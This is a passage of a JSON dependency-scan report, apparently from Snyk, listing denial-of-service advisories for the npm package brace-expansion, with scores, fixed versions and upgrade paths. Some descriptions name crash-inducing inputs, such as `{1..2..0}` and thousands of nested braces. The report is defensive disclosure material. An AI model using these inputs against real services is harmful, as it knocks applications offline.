"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
